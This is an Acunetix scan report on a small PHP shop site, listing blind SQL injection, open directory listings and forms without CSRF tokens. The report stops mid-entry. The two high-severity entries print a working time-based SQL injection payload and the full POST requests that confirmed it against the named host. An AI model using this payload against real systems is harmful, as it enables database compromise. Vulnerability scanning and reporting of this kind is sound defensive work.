acunetix

Affected Items Report

Acunetix Security Audit

15 March 2022

Generated by Acunetix

Scan of onstor459.000webhostapp.com

Scan details

Scan information	
Start time	15/03/2022, 09:29:43
Start url	https://onstor459.000webhostapp.com/
Host	onstor459.000webhostapp.com
Scan time	133 minutes, 24 seconds
Profile	Full Scan
Server information	awex
Responsive	True
Server OS	Unknown
Server technologies	PHP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	95
High	2
Medium	54
Low	6
Informational	33

Affected items

/Cotton-tank-top	
Alert group	**Blind SQL Injection**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **product_qty** was set to **0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z** Tests performed: - 0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z => **12.512** - 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => **3.534** - 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.479** - 0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z => **12.518** - 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.528** - 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.536** - 0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z => **12.5** - 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.579** - 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.632** Original value: **1**

```
POST /Cotton-tank-top HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 83
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

add_cart=&product_qty=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&product_size=1
```

/Cotton-tank-top	
Alert group	**Blind SQL Injection**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	

Details	URL encoded POST input **product_size** was set to **0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z** Tests performed: • 0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z => **12.525** • 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => **3.526** • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.521** • 0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z => **12.584** • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.645** • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.582** • 0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z => **12.66** • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.492** • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.512** Original value: **1**

```
POST /Cotton-tank-top HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 83
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

add_cart=&product_qty=1&product_size=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z
```

/customer/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/customer_images/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/font-awesome/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/font-awesome/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/font-awesome/css/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/font-awesome/css/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/font-awesome/font/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/font-awesome/font/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/fonts/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/fonts/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/functions/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/functions/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/images/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.

Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/images/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/includes/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/includes/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/js/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /customer/js/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/styles/	
Alert group	**Directory listing (verified)**
Severity	Medium

Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: Last modified</a>

```
GET /customer/styles/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/fonts/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: Last modified</a>

```
GET /fonts/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/js/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: Last modified</a>

```
GET /js/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/styles/

Alert group	Directory listing (verified)
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /styles/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/styles/css/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /styles/css/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/styles/fonts/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /styles/fonts/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/styles/fonts/flaticon/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /styles/fonts/flaticon/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/styles/fonts/flaticon/font/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /styles/fonts/flaticon/font/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/styles/js/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `Last modified</a>`

```
GET /styles/js/ HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Cotton-tank-top	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • product_qty [select] • product_size [select] • add_cart [submit] • add_wishlist [submit]

```
GET /Cotton-tank-top HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Cotton-tank-top	
Alert group	**HTML form without CSRF protection**
Severity	Medium

Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /Cotton-tank-top HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Hoodie-with-hood	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • product_qty [select] • product_size [select] • add_cart [submit] • add_wishlist [submit]

```
GET /Hoodie-with-hood HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Hoodie-with-hood	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /Hoodie-with-hood HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Jeans-Basic-Slim	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • product_qty [select] • product_size [select] • add_cart [submit] • add_wishlist [submit]

```
GET /Jeans-Basic-Slim HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Jeans-Basic-Slim	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /Jeans-Basic-Slim HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Shirt-Jacket	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

